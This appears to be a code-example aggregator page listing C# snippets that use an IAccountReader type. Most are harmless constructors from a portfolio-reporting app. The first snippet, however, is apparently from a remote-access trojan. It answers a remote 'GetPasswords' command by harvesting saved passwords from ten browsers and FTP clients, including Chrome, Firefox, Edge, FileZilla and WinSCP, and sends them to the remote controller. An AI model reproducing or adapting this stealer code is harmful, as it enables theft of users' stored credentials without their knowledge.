コード例 #1
0
        private void Execute(ISender client, GetPasswords message)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            var passReaders = new IAccountReader[]
            {
                new BravePassReader(),
                new ChromePassReader(),
                new OperaPassReader(),
                new OperaGXPassReader(),
                new EdgePassReader(),
                new YandexPassReader(),
                new FirefoxPassReader(),
                new InternetExplorerPassReader(),
                new FileZillaPassReader(),
                new WinScpPassReader()
            };

            foreach (var passReader in passReaders)
            {
                try
                {
                    recovered.AddRange(passReader.ReadAccounts());
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }

            client.Send(new GetPasswordsResponse {
                RecoveredAccounts = recovered
            });
        }
コード例 #2
0
 public ConnectionSynchronizer(
     IAccountReader accountReader,
     IAccountWriter accountWriter,
     ISymbolReader symbolReader,
     ISymbolWriter symbolWriter,
     ICurrencyReader currencyReader,
     ITokenizer tokenizer)
 {
     AccountReader  = accountReader;
     AccountWriter  = accountWriter;
     SymbolReader   = symbolReader;
     SymbolWriter   = symbolWriter;
     CurrencyReader = currencyReader;
     Tokenizer      = tokenizer;
 }
コード例 #3
0
 public Reporter(
     IConnectionReader connectionReader,
     IAccountReader accountReader,
     IExcludeReader excludeReader,
     IAllocationReader allocationReader,
     IAssetClassReader assetClassReader,
     ICurrencyReader currencyReader)
 {
     ConnectionReader = connectionReader;
     AccountReader    = accountReader;
     ExcludeReader    = excludeReader;
     AllocationReader = allocationReader;
     AssetClassReader = assetClassReader;
     CurrencyReader   = currencyReader;
 }
コード例 #4
0
 public HomeController(
     IAuthenticationClient authenticationClient,
     IQuestradeSettings questradeSettings,
     ITokenizer tokenizer,
     IConnectionReader connectionReader,
     IAccountReader accountReader,
     IConnectionSynchronizer connectionSynchronizer,
     ICurrencySynchronizer currencySynchronizer,
     IPortfolioReader portfolioReader,
     IReporter reporter)
 {
     AuthenticationClient   = authenticationClient;
     QuestradeSettings      = questradeSettings;
     Tokenizer              = tokenizer;
     ConnectionReader       = connectionReader;
     AccountReader          = accountReader;
     ConnectionSynchronizer = connectionSynchronizer;
     CurrencySynchronizer   = currencySynchronizer;
     PortfolioReader        = portfolioReader;
     Reporter = reporter;
 }
コード例 #5
0
 private AppContext()
 {
     _appSettingsReader = new AppSettingsReader();
     _accountReader     = new AccountReader();
 }